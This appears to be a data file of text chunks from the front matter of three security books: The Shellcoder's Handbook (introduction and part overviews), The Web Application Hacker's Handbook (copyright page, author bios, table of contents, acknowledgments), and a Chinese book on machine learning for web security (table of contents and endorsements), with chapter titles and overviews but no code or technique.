was published; the world has moved on since 2004. It’s now commonplace for compilers and operating systems to have built-in measures that protect against the types of vulnerabilities this book is mostly concerned with, though it’s also true to say that these measures are far from perfect. Nor does the supply of arbitrary-code execution bugs look to be drying up any time soon, despite advances in methods for finding them — if you check out the U.S. National Vulnerability Database Web site ( nvd.nist.gov ), click “statistics” and select “buffer overflow,” you’ll see that buffer overflows continue to increase in number, running at around 600 per year in 2005 and 2006, with 2007 on course to match or exceed that. So it’s clear that we still need to know about these bugs and how they’re exploited — in fact, there’s a strong argument that it’s more important to know about the precise mechanisms now that we have so many partial defenses to choose from when considering how to protect ourselves. If you’re auditing a network, a working exploit will give you 100 percent confidence in your assessment, and if you’re a software developer, creating proof-of-concept exploits can help understand which bugs need to be fixed first. If you’re purchasing a security product, knowing how to get around a non-executable stack, exploit a tricky heap overflow, or write your own exploit encoder will help you to make a better judgment of the quality of the various vendors. In general, knowledge is preferable to ignorance. The bad guys already know this stuff; the network-auditing, software-writing, network-managing public should know it, too. So why is this book different? Well, first, the authors find and exploit bugs as part of their day jobs. We’re not just writing about this stuff; we’re doing it on a daily basis. Second, you’ll not see us writing too much about tools. Most of the content of this book is concerned with the raw meat of security bugs — assembler, source code, the stack, the heap, and so on. These ideas allow you to write tools rather than just use tools written by others. Finally, there’s a question of focus and attitude. It isn’t written down in any particular paragraph, but the message that shines out through the whole of this book is that you should experiment, explore, and try to understand the systems you’re running. You’ll find a lot of interesting stuff that way. So, without further ado, here’s the second edition of The Shellcoder’s Handbook . I hope you enjoy it, I hope it’s useful, and I hope you use it to do some good. If you have any comments, criticisms, or suggestions, please let me know. Cheers, Chris Anley Part I Part I: Introduction to Exploitation: Linux on x86 Welcome to the Part I of the Shellcoder’s Handbook Second Edition: Discovering and Exploiting Security Holes . This part is an introduction to vulnerability discovery and exploitation. It is organized in a manner that will allow you to learn exploitation on various fictitious sample code structures created specifically for this book to aid in the learning process, as well as real-life, in-the-wild, vulnerabilities. You will learn the details of exploitation under Linux running on an Intel 32-bit (IA32 or x86) processor. The discovery and exploitation of vulnerabilities on Linux/IA32 is the easiest and most straightforward to comprehend. This is why we have chosen to start with Linux/IA32. Linux is easiest to understand from a hacker’s point of view because you have solid, reliable, internal operating system structures to work with when exploiting. After you have a solid understanding of these concepts and have worked through the example code, you are graduated to increasingly difficult vulnerability discovery and exploitation scenarios in subsequent Parts. We work through stack buffer overflows in Chapter 2, introductory shellcoding in Chapter 3, format string overflows in Chapter 4, and finally finish up the part with heap-based buffer overflow hacking techniques for the Linux platform in Chapter 5. Upon completion of this part, you will be well on your way to understanding vulnerability development and exploitation."},
    {"text": "Part II Part II: Other Platforms—Windows, Solaris, OS/X, and Cisco Now that you have completed the introductory section on vulnerability development for the Linux/IA32 platform, we explore more difficult and tricky operating systems and exploitation concepts. We move into the world of Windows, where we detail some interesting exploitation concepts from a Window’s hacker point of view. The first chapter in this part, Chapter 6, will help you understand how Windows is different from the Linux/IA32 content in Part I. We move right into Windows shellcode in Chapter 7, and then delve into some more advanced Windows content in Chapter 8. Finally, we round out the Windows content with a chapter on overcoming filters for Windows in Chapter 9. The concepts for circumventing various filters can be applied to any hostile code injection scenario. The other chapters in this section show you how to discover and exploit vulnerabilities for the Solaris and OS X operating systems and the Cisco platform. Because Solaris runs on an entirely different architecture than the Linux and Windows content described thus far, it may at first appear alien to you. The two Solaris chapters will have you hacking Solaris on SPARC like a champ, introducing the Solaris platform in Chapter 10 and delving into more advanced concepts in Chapter 11, such as abusing the Procedure Linkage Table and the use of native blowfish encryption in shellcode. Chapter 12 introduces OS X and walks through the peculiarities of writing exploits on the Intel and PowerPC platforms. Chapter 13 discusses the various Cisco platforms and techniques that can help you find and exploit bugs on them, and Chapter 14 discusses the various exploit protection mechanisms that have recently (and in some cases, not so recently) been introduced into most common operating systems and compilers. Once you’ve completed Part II, you should have a basic grip on most of the techniques that you need to understand and write exploits on pretty much every operating system out there, as well as a keen understanding of the various obstacles that OS and compiler vendors put in the way. Part III Part III: Vulnerability Discovery Now that you are an expert at hacking Linux, Windows, Solaris, OS X, and Cisco, we move into the entire section of the book dedicated to discovering vulnerabilities. We cover the most popular methods used by hackers in the real world. First things first, you must set up a working environment, a platform to orchestrate vulnerability discovery from. In Chapter 15 we cover the tools and reference material you will need for productive and efficient vulnerability discovery. Chapter 16 introduces one of the more popular methods of automated vulnerability discovery, fault injection. A similar method of automated bug finding is detailed in Chapter 17, fuzzers. Other forms of vulnerability discovery are just as valid as fuzzing, so they are covered as well. Discovering vulnerabilities by auditing source code is important, as more and more important applications come with source code; Chapter 18 describes this method of bug hunting when you have source code. Manual methods of vulnerability discovery have proven to be highly successful, so Chapter 19 goes over instrumented investigation, using tried and true techniques for finding security bugs manually. Chapter 20 covers vulnerability tracing, a method of tracing where input is copied through many different functions, modules, and libraries. Finally, auditing binaries in Chapter 21 rounds out this part with a comprehensive tutorial on discovering vulnerabilities when you have only a binary to work with. Part IV Part IV: Advanced Materials This book would not be complete without advanced-level content. We present some novel payload strategies in Chapter 22. Using these payload strategies will allow you do way more than bind a root shell in your shellcode. We introduce advanced shellcoding techniques, such as remotely disabling access control on a running program. Getting exploits to work in the wild, outside of your controlled lab environment often presents a problem for even the most skilled hacker. Chapter 23 teaches you some of the steps to take to get your exploits to work in the wild. We then move into hacking specific relational databases, such as Oracle, DB2, and SQL servers, in Chapter 24. Living in a one-application, one-box world, oftentimes hacking the database software is more important than the underlying operating system. Finally, the book concludes with a detailed look into a relatively new phenomenon, kernel hacking, with some kernel vulnerability discovery and exploitation for the OpenBSD and Solaris operating systems in Chapters 25 and 26 and a discussion of discovery and exploitation of Windows kernel bugs in Chapter 27."},
    {"text": "Table of Contents Table of Contents Cover Title Page Copyright Dedication About the Authors Credits Acknowledgments Introduction to the Second Edition Part I: Introduction to Exploitation: Linux on x86 Chapter 1: Before You Begin Basic Concepts Recognizing C and C++ Code Constructs in Assembly Conclusion Chapter 2: Stack Overflows Buffers The Stack Overflowing Buffers on the Stack An Interesting Diversion Using an Exploit to Get Root Privileges Defeating a Non-Executable Stack Conclusion Chapter 3: Shellcode Understanding System Calls Writing Shellcode for the exit() Syscall Injectable Shellcode Spawning a Shell Conclusion Chapter 4: Introduction to Format String Bugs Prerequisites What Is a Format String? What Is a Format String Bug? Format String Exploits Controlling Execution for Exploitation Why Did This Happen? Format String Technique Roundup Conclusion Chapter 5: Introduction to Heap Overflows What Is a Heap? Finding Heap Overflows Conclusion Part II: Other Platforms—Windows, Solaris, OS/X, and Cisco Chapter 6: The Wild World of Windows How Does Windows Differ from Linux? Heaps The Genius and Idiocy of the Distributed Common Object Model and DCE-RPC Debugging Windows Conclusion Chapter 7: Windows Shellcode Syntax and Filters Setting Up Popping a Shell Why You Should Never Pop a Shell on Windows Conclusion Chapter 8: Windows Overflows Stack-Based Buffer Overflows Frame-Based Exception Handlers Abusing Frame-Based Exception Handling on Windows 2003 Server Stack Protection and Windows 2003 Server Heap-Based Buffer Overflows The Process Heap Exploiting Heap-Based Overflows Other Overflows Exploiting Buffer Overflows and Non-Executable Stacks Conclusion Chapter 9: Overcoming Filters Writing Exploits for Use with an Alphanumeric Filter Writing Exploits for Use with a Unicode Filter Exploiting Unicode-Based Vulnerabilities The Venetian Method Decoder and Decoding Conclusion Chapter 10: Introduction to Solaris Exploitation Introduction to the SPARC Architecture Solaris/SPARC Shellcode Basics Solaris/SPARC Stack Frame Introduction Stack-Based Overflow Methodologies Stack Overflow Exploitation In Action Heap-Based Overflows on Solaris/SPARC Basic Exploit Methodology (t_delete) Other Heap-Related Vulnerabilities Heap Overflow Example Other Solaris Exploitation Techniques Conclusion Chapter 11: Advanced Solaris Exploitation Single Stepping the Dynamic Linker Various Style Tricks for Solaris SPARC Heap Overflows Advanced Solaris/SPARC Shellcode Conclusion Chapter 12: OS X Shellcode OS X Is Just BSD, Right? Is OS X Open Source? OS X for the Unix-aware OS X PowerPC Shellcode OS X Intel Shellcode OS X Cross-Platform Shellcode OS X Heap Exploitation Bug Hunting on OS X Some Interesting Bugs Essential Reading for OS X Exploits Conclusion Chapter 13: Cisco IOS Exploitation An Overview of Cisco IOS Vulnerabilities in Cisco IOS Reverse Engineering IOS Exploiting Cisco IOS Conclusion Chapter 14: Protection Mechanisms Protections Implementation Differences Conclusion Part III: Vulnerability Discovery Chapter 15: Establishing a Working Environment What You Need for Reference What You Need for Code What You Need for Investigation What You Need to Know Optimizing Shellcode Development Conclusion Chapter 16: Fault Injection Design Overview Fault Monitoring Putting It Together Conclusion Chapter 17: The Art of Fuzzing General Theory of Fuzzing Weaknesses in Fuzzers Modeling Arbitrary Network Protocols Other Fuzzer Possibilities SPIKE Other Fuzzers Conclusion Chapter 18: Source Code Auditing: Finding Vulnerabilities in C-Based Languages Tools Automated Source Code Analysis Tools Methodology Vulnerability Classes Beyond Recognition: A Real Vulnerability versus a Bug Conclusion Chapter 19: Instrumented Investigation: A Manual Approach Philosophy Oracle extproc Overflow Common Architectural Failures Bypassing Input Validation and Attack Detection Windows 2000 SNMP DOS Finding DOS Attacks SQL-UDP Conclusion Chapter 20: Tracing for Vulnerabilities Overview Conclusion Chapter 21: Binary Auditing: Hacking Closed Source Software Binary versus Source-Code Auditing: The Obvious Differences IDA Pro—The Tool of the Trade Binary Auditing Introduction Reconstructing Class Definitions Manual Binary Analysis Binary Vulnerability Examples Conclusion Part IV: Advanced Materials Chapter 22: Alternative Payload Strategies Modifying the Program The SQL Server 3-Byte Patch The MySQL 1-Bit Patch OpenSSH RSA Authentication Patch Other Runtime Patching Ideas Upload and Run (or Proglet Server) Syscall Proxies Problems with Syscall Proxies Conclusion Chapter 23: Writing Exploits that Work in the Wild Factors in Unreliability Countermeasures Conclusion Chapter 24: Attacking Database Software Network Layer Attacks Application Layer Attacks Running Operating System Commands Exploiting Overruns at the SQL Level Conclusion Chapter 25: Unix Kernel Overflows Kernel Vulnerability Types 0day Kernel Vulnerabilities Solaris vfs_getvfssw() Loadable Kernel Module Traversal Vulnerability Conclusion Chapter 26: Exploiting Unix Kernel Vulnerabilities The exec_ibcs2_coff_prep_zmagic() Vulnerability Solaris vfs_getvfssw() Loadable Kernel Module Path Traversal Exploit Conclusion Chapter 27: Hacking the Windows Kernel Windows Kernel Mode Flaws—An Increasingly Hunted Species Introduction to the Windows Kernel Common Kernel-Mode Programming Flaws Windows System Calls Communicating with Device Drivers Kernel-Mode Payloads Essential Reading for Kernel Shellcoders Conclusion Index"},
    {"text": "MDSec: The Authors' Company MDSec: The Authors' Company Dafydd and Marcus are cofounders of MDSec, a company that provides training in attack and defense-based security, along with other consultancy services. If while reading this book you would like to put the concepts into practice, and gain hands-on experience in the areas covered, you are encouraged to visit our website, http://mdsec.net . This will give you access to hundreds of interactive vulnerability labs and other resources that are referenced throughout the book."},
    {"text": "Cover Copyright The Web Application Hacker‘s Handbook: Finding and Exploiting Security Flaws, Second Edition Published by John Wiley & Sons, Inc. 10475 Crosspoint Boulevard Indianapolis, IN 46256 www.wiley.com Copyright © 2011 by Dafydd Stuttard and Marcus Pinto Published by John Wiley & Sons, Inc., Indianapolis, Indiana Published simultaneously in Canada ISBN: 978-1-118-02647-2 ISBN: 978-1-118-17522-4 (ebk) ISBN: 978-1-118-17524-8 (ebk) ISBN: 978-1-118-17523-1 (ebk) No part of this publication may be reproduced, stored in a retrieval system or transmitted in any form or by any means, electronic, mechanical, photocopying, recording, scanning or otherwise, except as permitted under Sections 107 or 108 of the 1976 United States Copyright Act, without either the prior written permission of the Publisher, or authorization through payment of the appropriate per-copy fee to the Copyright Clearance Center, 222 Rosewood Drive, Danvers, MA 01923, (978) 750-8400, fax (978) 646-8600. Requests to the Publisher for permission should be addressed to the Permissions Department, John Wiley & Sons, Inc., 111 River Street, Hoboken, NJ 07030, (201) 748-6011, fax (201) 748-6008, or online at http:// http://www.wiley.com/go/permissions . Limit of Liability/Disclaimer of Warranty: The publisher and the author make no representations or warranties with respect to the accuracy or completeness of the contents of this work and specifically disclaim all warranties, including without limitation warranties of fitness for a particular purpose. No warranty may be created or extended by sales or promotional materials. The advice and strategies contained herein may not be suitable for every situation. This work is sold with the understanding that the publisher is not engaged in rendering legal, accounting, or other professional services. If professional assistance is required, the services of a competent professional person should be sought. Neither the publisher nor the author shall be liable for damages arising herefrom. The fact that an organization or Web site is referred to in this work as a citation and/or a potential source of further information does not mean that the author or the publisher endorses the information the organization or website may provide or recommendations it may make. Further, readers should be aware that Internet websites listed in this work may have changed or disappeared between when this work was written and when it is read. For general information on our other products and services please contact our Customer Care Department within the United States at (877) 762-2974, outside the United States at (317) 572-3993 or fax (317) 572-4002. Wiley also publishes its books in a variety of electronic formats and by print-on-demand. Not all content that is available in standard print versions of this book may appear or be packaged in all book formats. If you have purchased a version of this book that did not include media that is referenced by or accompanies a standard print version, you may request this media by visiting http://booksupport.wiley.com . For more information about Wiley products, visit us at www.wiley.com . Library of Congress Control Number: 2011934639 Trademarks: Wiley and the Wiley logo are trademarks or registered trademarks of John Wiley & Sons, Inc. and/or its affiliates, in the United States and other countries, and may not be used without written permission. All other trademarks are the property of their respective owners. John Wiley & Sons, Inc. is not associated with any product or vendor mentioned in this book."},
    {"text": "About the Authors About the Authors Dafydd Stuttard is an independent security consultant, author, and software developer. With more than 10 years of experience in security consulting, he specializes in the penetration testing of web applications and compiled software. Dafydd has worked with numerous banks, retailers, and other enterprises to help secure their web applications. He also has provided security consulting to several software manufacturers and governments to help secure their compiled software. Dafydd is an accomplished programmer in several languages. His interests include developing tools to facilitate all kinds of software security testing. Under the alias “PortSwigger,” Dafydd created the popular Burp Suite of web application hacking tools; he continues to work actively on Burp's development. Dafydd is also cofounder of MDSec, a company providing training and consultancy on Internet security attack and defense. Dafydd has developed and presented training courses at various security conferences around the world, and he regularly delivers training to companies and governments. He holds master's and doctorate degrees in philosophy from the University of Oxford. Marcus Pinto is cofounder of MDSec, developing and delivering training courses in web application security. He also performs ongoing security consultancy for financial, government, telecom, and retail verticals. His 11 years of experience in the industry have been dominated by the technical aspects of application security, from the dual perspectives of a consulting and end-user implementation role. Marcus has a background in attack-based security assessment and penetration testing. He has worked extensively with large-scale web application deployments in the financial services industry. Marcus has been developing and presenting database and web application training courses since 2005 at Black Hat and other worldwide security conferences, and for private-sector and government clients. He holds a master's degree in physics from the University of Cambridge."},
    {"text": "Table of Contents Table of Contents Chapter 1: Web Application (In)security The Evolution of Web Applications Web Application Security Summary Chapter 2: Core Defense Mechanisms Handling User Access Handling User Input Handling Attackers Managing the Application Summary Questions Chapter 3: Web Application Technologies The HTTP Protocol Web Functionality Encoding Schemes Next Steps Questions Chapter 4: Mapping the Application Enumerating Content and Functionality Analyzing the Application Summary Questions Chapter 5: Bypassing Client-Side Controls Transmitting Data Via the Client Capturing User Data: HTML Forms Capturing User Data: Browser Extensions Handling Client-Side Data Securely Summary Questions Chapter 6: Attacking Authentication Authentication Technologies Design Flaws in Authentication Mechanisms Implementation Flaws in Authentication Securing Authentication Summary Questions Chapter 7: Attacking Session Management The Need for State Weaknesses in Token Generation Weaknesses in Session Token Handling Securing Session Management Summary Questions Chapter 8: Attacking Access Controls Common Vulnerabilities Attacking Access Controls Securing Access Controls Summary Questions Chapter 9: Attacking Data Stores Injecting into Interpreted Contexts Injecting into SQL Injecting into NoSQL Injecting into XPath Injecting into LDAP Summary Questions Chapter 10: Attacking Back-End Components Injecting OS Commands Manipulating File Paths Injecting into XML Interpreters Injecting into Back-end HTTP Requests Injecting into Mail Services Summary Questions Chapter 11: Attacking Application Logic The Nature of Logic Flaws Real-World Logic Flaws Avoiding Logic Flaws Summary Questions Chapter 12: Attacking Users: Cross-Site Scripting Varieties of XSS XSS Attacks in Action Finding and Exploiting XSS Vulnerabilities Preventing XSS Attacks Summary Questions Chapter 13: Attacking Users: Other Techniques Inducing User Actions Capturing Data Cross-Domain The Same-Origin Policy Revisited Other Client-Side Injection Attacks Local Privacy Attacks Attacking ActiveX Controls Attacking the Browser Summary Questions Chapter 14: Automating Customized Attacks Uses for Customized Automation Enumerating Valid Identifiers Harvesting Useful Data Fuzzing for Common Vulnerabilities Putting It All Together: Burp Intruder Barriers to Automation Summary Questions Chapter 15: Exploiting Information Disclosure Exploiting Error Messages Gathering Published Information Using Inference Preventing Information Leakage Summary Questions Chapter 16: Attacking Native Compiled Applications Buffer Overflow Vulnerabilities Integer Vulnerabilities Format String Vulnerabilities Summary Questions Chapter 17: Attacking Application Architecture Tiered Architectures Shared Hosting and Application Service Providers Summary Questions Chapter 18: Attacking the Application Server Vulnerable Server Configuration Vulnerable Server Software Web Application Firewalls Summary Questions Chapter 19: Finding Vulnerabilities in Source Code Approaches to Code Review Signatures of Common Vulnerabilities The Java Platform ASP.NET PHP Perl JavaScript Database Code Components Tools for Code Browsing Summary Questions Chapter 20: A Web Application Hacker's Toolkit Web Browsers Integrated Testing Suites Standalone Vulnerability Scanners Other Tools Summary Chapter 21: A Web Application Hacker's Methodology General Guidelines 1 Map the Application's Content 2 Analyze the Application 3 Test Client-Side Controls 4 Test the Authentication Mechanism 5 Test the Session Management Mechanism 6 Test Access Controls 7 Test for Input-Based Vulnerabilities 8 Test for Function-Specific Input Vulnerabilities 9 Test for Logic Flaws 10 Test for Shared Hosting Vulnerabilities 11 Test for Application Server Vulnerabilities 12 Miscellaneous Checks 13 Follow Up Any Information Leakage Introduction"},
    {"text": "Title Page About the Technical Editor About the Technical Editor Dr. Josh Pauli received his Ph.D. in Software Engineering from North Dakota State University (NDSU) with an emphasis in secure requirements engineering and now serves as an Associate Professor of Information Security at Dakota State University (DSU). Dr. Pauli has published nearly 20 international journal and conference papers related to software security and his work includes invited presentations from the Department of Homeland Security and Black Hat Briefings. He teaches both undergraduate and graduate courses in system software security and web software security at DSU. Dr. Pauli also conducts web application penetration tests as a Senior Penetration Tester for an Information Security consulting firm where his duties include developing hands-on technical workshops in the area of web software security for IT professionals in the financial sector."},
    {"text": "Credits Credits Executive Editor Carol Long Senior Project Editor Adaobi Obi Tulton Technical Editor Josh Pauli Production Editor Kathleen Wisor Copy Editor Gayle Johnson Editorial Manager Mary Beth Wakefield Freelancer Editorial Manager Rosemarie Graham Associate Director of Marketing David Mayhew Marketing Manager Ashley Zurcher Business Manager Amy Knies Production Manager Tim Tate Vice President and Executive Group Publisher Richard Swadley Vice President and Executive Publisher Neil Edde Associate Publisher Jim Minatel Project Coordinator, Cover Katie Crocker Proofreaders Sarah Kaikini, Word One Sheilah Ledwidge, Word One Indexer Robert Swanson Cover Designer Ryan Sneed Cover Image Wiley InHouse Design Vertical Websites Project Manager Laura Moss-Hollister Vertical Websites Assistant Project Manager Jenny Swisher Vertical Websites Associate Producers Josh Frank Shawn Patrick Doug Kuhn Marilyn Hummel"},
    {"text": "Acknowledgments Acknowledgments We are indebted to the directors and others at Next Generation Security Software, who provided the right environment for us to realize the first edition of this book. Since then, our input has come from an increasingly wider community of researchers and professionals who have shared their ideas and contributed to the collective understanding of web application security issues that exists today. Because this is a practical handbook rather than a work of scholarship, we have deliberately avoided filling it with a thousand citations of influential articles, books, and blog postings that spawned the ideas involved. We hope that people whose work we discuss anonymously are content with the general credit given here. We are grateful to the people at Wiley — in particular, to Carol Long for enthusiastically supporting our project from the outset, to Adaobi Obi Tulton for helping polish our manuscript and coaching us in the quirks of “American English,” to Gayle Johnson for her very helpful and attentive copy editing, and to Katie Wisor's team for delivering a first-rate production. A large measure of thanks is due to our respective partners, Becky and Amanda, for tolerating the significant distraction and time involved in producing a book of this size. Both authors are indebted to the people who led us into our unusual line of work. Dafydd would like to thank Martin Law. Martin is a great guy who first taught me how to hack and encouraged me to spend my time developing techniques and tools for attacking applications. Marcus would like to thank his parents for everything they have done and continue to do, including getting me into computers. I've been getting into computers ever since."},
    {"text": "Cover 智能系统与技术丛书 Web安全之机器学习入门 刘焱 编著 ISBN：978-7-111-57642-6 本书纸版由机械工业出版社于2017年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @华章数媒 微信公众号 华章电子书（微信号：hzebook）"},
    {"text": "目录 对本书的赞誉 序一 序二 序三 前言 第1章 通向智能安全的旅程 1.1 人工智能、机器学习与深度学习 1.2 人工智能的发展 1.3 国内外网络安全形势 1.4 人工智能在安全领域的应用 1.5 算法和数据的辩证关系 1.6 本章小结 参考资源 第2章 打造机器学习工具箱 2.1 Python在机器学习领域的优势 2.1.1 NumPy 2.1.2 SciPy 2.1.3 NLTK 2.1.4 Scikit-Learn 2.2 TensorFlow简介与环境搭建 2.3 本章小结 参考资源 第3章 机器学习概述 3.1 机器学习基本概念 3.2 数据集 3.2.1 KDD 99数据 3.2.2 HTTP DATASET CSIC 2010 3.2.3 SEA数据集 3.2.4 ADFA-LD数据集 3.2.5 Alexa域名数据 3.2.6 Scikit-Learn数据集 3.2.7 MNIST数据集 3.2.8 Movie Review Data 3.2.9 SpamBase数据集 3.2.10 Enron数据集 3.3 特征提取 3.3.1 数字型特征提取 3.3.2 文本型特征提取 3.3.3 数据读取 3.4 效果验证 3.5 本章小结 参考资源 第4章 Web安全基础 4.1 XSS攻击概述 4.1.1 XSS的分类 4.1.2 XSS特殊攻击方式 4.1.3 XSS平台简介 4.1.4 近年典型XSS攻击事件分析 4.2 SQL注入概述 4.2.1 常见SQL注入攻击 4.2.2 常见SQL注入攻击载荷 4.2.3 SQL常见工具 4.2.4 近年典型SQL注入事件分析 4.3 WebShell概述 4.3.1 WebShell功能 4.3.2 常见WebShell 4.4 僵尸网络概述 4.4.1 僵尸网络的危害 4.4.2 近年典型僵尸网络攻击事件分析 4.5 本章小结 参考资源 第5章 K近邻算法 5.1 K近邻算法概述 5.2 示例：hello world！"},
    {"text": "K近邻 5.3 示例：使用K近邻算法检测异常操作（一） 5.4 示例：使用K近邻算法检测异常操作（二） 5.5 示例：使用K近邻算法检测Rootkit 5.6 示例：使用K近邻算法检测WebShell 5.7 本章小结 参考资源 第6章 决策树与随机森林算法 6.1 决策树算法概述 6.2 示例：hello world！ 决策树 6.3 示例：使用决策树算法检测POP3暴力破解 6.4 示例：使用决策树算法检测FTP暴力破解 6.5 随机森林算法概述 6.6 示例：hello world！ 随机森林 6.7 示例：使用随机森林算法检测FTP暴力破解 6.8 本章小结 参考资源 第7章 朴素贝叶斯算法 7.1 朴素贝叶斯算法概述 7.2 示例：hello world！ 朴素贝叶斯 7.3 示例：检测异常操作 7.4 示例：检测WebShell（一） 7.5 示例：检测WebShell（二） 7.6 示例：检测DGA域名 7.7 示例：检测针对Apache的DDoS攻击 7.8 示例：识别验证码 7.9 本章小结 参考资源 第8章 逻辑回归算法 8.1 逻辑回归算法概述 8.2 示例：hello world！ 逻辑回归 8.3 示例：使用逻辑回归算法检测Java溢出攻击 8.4 示例：识别验证码 8.5 本章小结 参考资源 第9章 支持向量机算法 9.1 支持向量机算法概述 9.2 示例：hello world！ 支持向量机 9.3 示例：使用支持向量机算法识别XSS 9.4 示例：使用支持向量机算法区分僵尸网络DGA家族 9.4.1 数据搜集和数据清洗 9.4.2 特征化 9.4.3 模型验证 9.5 本章小结 参考资源 第10章 K-Means与DBSCAN算法 10.1 K-Means算法概述 10.2 示例：hello world！ K-Means 10.3 示例：使用K-Means算法检测DGA域名 10.4 DBSCAN算法概述 10.5 示例：hello world！ DBSCAN 10.6 本章小结 参考资源 第11章 Apriori与FP-growth算法 11.1 Apriori算法概述 11.2 示例：hello world！ Apriori 11.3 示例：使用Apriori算法挖掘XSS相关参数 11.4 FP-growth算法概述 11.5 示例：hello world！ FP-growth 11.6 示例：使用FP-growth算法挖掘疑似僵尸主机 11.7 本章小结 参考资源 第12章 隐式马尔可夫算法 12.1 隐式马尔可夫算法概述 12.2 hello world！ 隐式马尔可夫 12.3 示例：使用隐式马尔可夫算法识别XSS攻击（一） 12.4 示例：使用隐式马尔可夫算法识别XSS攻击（二） 12.5 示例：使用隐式马尔可夫算法识别DGA域名 12.6 本章小结 参考资源 第13章 图算法与知识图谱 13.1 图算法概述 13.2 示例：hello world！ 有向图 13.3 示例：使用有向图识别WebShell 13.4 示例：使用有向图识别僵尸网络 13.5 知识图谱概述 13.6 示例：知识图谱在风控领域的应用 13.6.1 检测疑似账号被盗 13.6.2 检测疑似撞库攻击 13.6.3 检测疑似刷单 13.7 示例：知识图谱在威胁情报领域的应用 13.7.1 挖掘后门文件潜在联系 13.7.2 挖掘域名潜在联系 13.8 本章小结 参考资源 第14章 神经网络算法 14.1 神经网络算法概述 14.2 示例：hello world！ 神经网络 14.3 示例：使用神经网络算法识别验证码 14.4 示例：使用神经网络算法检测Java溢出攻击 14.5 本章小结 参考资源 第15章 多层感知机与DNN算法 15.1 神经网络与深度学习 15.2 TensorFlow编程模型 15.2.1 操作 15.2.2 张量 15.2.3 变量 15.2.4 会话 15.3 TensorFlow的运行模式 15.4 示例：在TensorFlow下识别验证码（一） 15.5 示例：在TensorFlow下识别验证码（二） 15.6 示例：在TensorFlow下识别验证码（三） 15.7 示例：在TensorFlow下识别垃圾邮件（一） 15.8 示例：在TensorFlow下识别垃圾邮件（二） 15.9 本章小结 参考资源 第16章 循环神经网络算法 16.1 循环神经网络算法概述 16.2 示例：识别验证码 16.3 示例：识别恶意评论 16.4 示例：生成城市名称 16.5 示例：识别WebShell 16.6 示例：生成常用密码 16.7 示例：识别异常操作 16.8 本章小结 参考资源 第17章 卷积神经网络算法 17.1 卷积神经网络算法概述 17.2 示例：hello world！ 卷积神经网络 17.3 示例：识别恶意评论 17.4 示例：识别垃圾邮件 17.5 本章小结 参考资源"},
    {"text": "虽然这几年深度学习呼声很高，但各种机器学习算法依然在形形色色的应用场景中有着各自独特的价值，熟悉并用好这些算法在安全领域的实战中会起到重要的作用。"},
    {"text": "——Lenx，百度首席安全科学家，安全实验室负责人 存储和计算能力的爆发式增长，让我们获得了比以往更全面、实时地获取以及分析数据的潜在能力，但面对产生的海量信息如何快速准确地转化为业务需求则需要依赖一些非传统的手段。"},
    {"text": "面对威胁，企业安全人员需要打造这样一种能力，它能够让我们脱离单纯的点对点的竞争，case by case的对抗，转而从更高的维度上来审视业务，发现潜在的异常事件。"},
    {"text": "这些异常事件可能会作为安全人员深入调查的起点，让我们具备找到原有安全能力盲区以及发现新威胁的能力，使我们的技能水平以及对威胁的响应速度能持续提升。"},
    {"text": "本书通过介绍通俗易懂的机器学习原理，结合实际企业中的安全业务需求场景，让广大安全人员能够感受到这种“如日中天”的技术在传统安全领域内如何大放异彩。"},
    {"text": "——王宇，蚂蚁金服安全总监 百度是拥有海量互联网数据的几家公司之一，兜哥是百度前IT安全负责人，现Web安全产品负责人，研发的产品不仅应用于百度公司内部检测网络攻击，也应用在多个百度的商业安全产品中，服务于数万站长。 兜哥的团队是国内最早一批将机器学习算法应用于网络安全场景的团队之一，本书聚集了兜哥及其团队多年的安全实践经验，覆盖了互联网公司可能会遇到的多个安全场景，比如用图算法检测WebShell等，非常好地解决了百度商业安全客户被入侵留后门的问题。 兜哥将自己的技术选型、算法、代码倾囊相授，我相信本书的出版将会大大降低安全研发工程师转型安全数据分析专家的难度，值得推荐。"},
    {"text": "——黄正，百度安全实验室X-Team负责人，MSRC 2016中国区第一 在大数据时代，犯罪分子作案的手段越来越高明，手动分析的成本越来越高，效率也越来越低；"},
    {"text": "——桑文峰，神策数据创始人&CEO 网络世界的攻击与防护对抗发展到今天，各种技术已经日趋专业和精细，通过古老的string-match的防御方式越来越不能适应新的攻击环境，对于想尝试着把机器学习和安全相结合的从业人员来说，阅读本书是个很好的开端。"},
    {"text": "安全问题几乎会伴随着任何新生事物而来，并与之同生长，这也使得安全研究人员往往会把注意力局限于关注事物的个体特征而忽略其群体特征；"},
    {"text": "用新工具去解决老问题，这要求对这两者都有比较深入的了解（例如AlphaGo），基于了解而进行实践，基于实践而予以总结分享，这样的知识分享和传递，正是刘焱这本书的价值所在。"},
    {"text": "本书将Web安全与机器学习相结合，提出以数据驱动为基础，利用海量的数据资源分析Web恶意攻击，以通俗易懂的语言讲述了机器学习在Web安全领域多个方面的应用。"},
    {"text": "此书重点讲解了常见机器学习算法在不同场景下的潜在应用和实践，非常适合初学者入门。 希望此书能够启发更多的同行继续实践和深耕机器学习应用这个方向，并给安全行业带来更多的反馈和讨论。"},
    {"text": "——谢忱，FreeBuf联合创始人，斗象科技COO 安全正在发生变革，已经从专家模式逐渐演变成系统化、平台化，而随着机器学习和大数据技术的发展，未来安全将逐渐智能化。"},
    {"text": "而这种变化已经得到了验证，在业务安全领域风控系统的基础数据中，如IP和用户画像、设备指纹生成和识别、规则的挖掘都使用大量的机器学习算法；"},
    {"text": "兜哥作为互联网企业的安全界资深研究者，一直对新技术的运用进行探索，这本书将为你打开安全智能化的大门。 ——吴圣，58同城高级架构师 机器学习一直是高大上的领域，作者结合自己的实际工作和研究，把机器学习在安全领域的应用讲得深入浅出、很接地气，稍具基础知识的读者就可动手体验应用机器学习的美妙感受。"},
    {"text": "——姚志武，借贷宝安全总监 纵观安全行业近十余年的攻击方式，从最早的单机小工具到如今分布式、大数据、自动化等攻击方式，防御的方式不得不随之不断升级，于是出现各种云安全产品，这些产品都能产生大量有价值的数据，但却少有产品能够真正利用这些数据实现联动防御，所以这些云都是单朵的小云。"},
    {"text": "我们需要利用人工智能将这些数据进行联动，进行多维度、高精度的深入分析，还原攻击路径，才能真正实现态势感知，防御未知攻击。 而人工智能的基础就是机器学习，让机器自适应、自分析、自决策，未来的安全防御必须具备这样的特性。"},
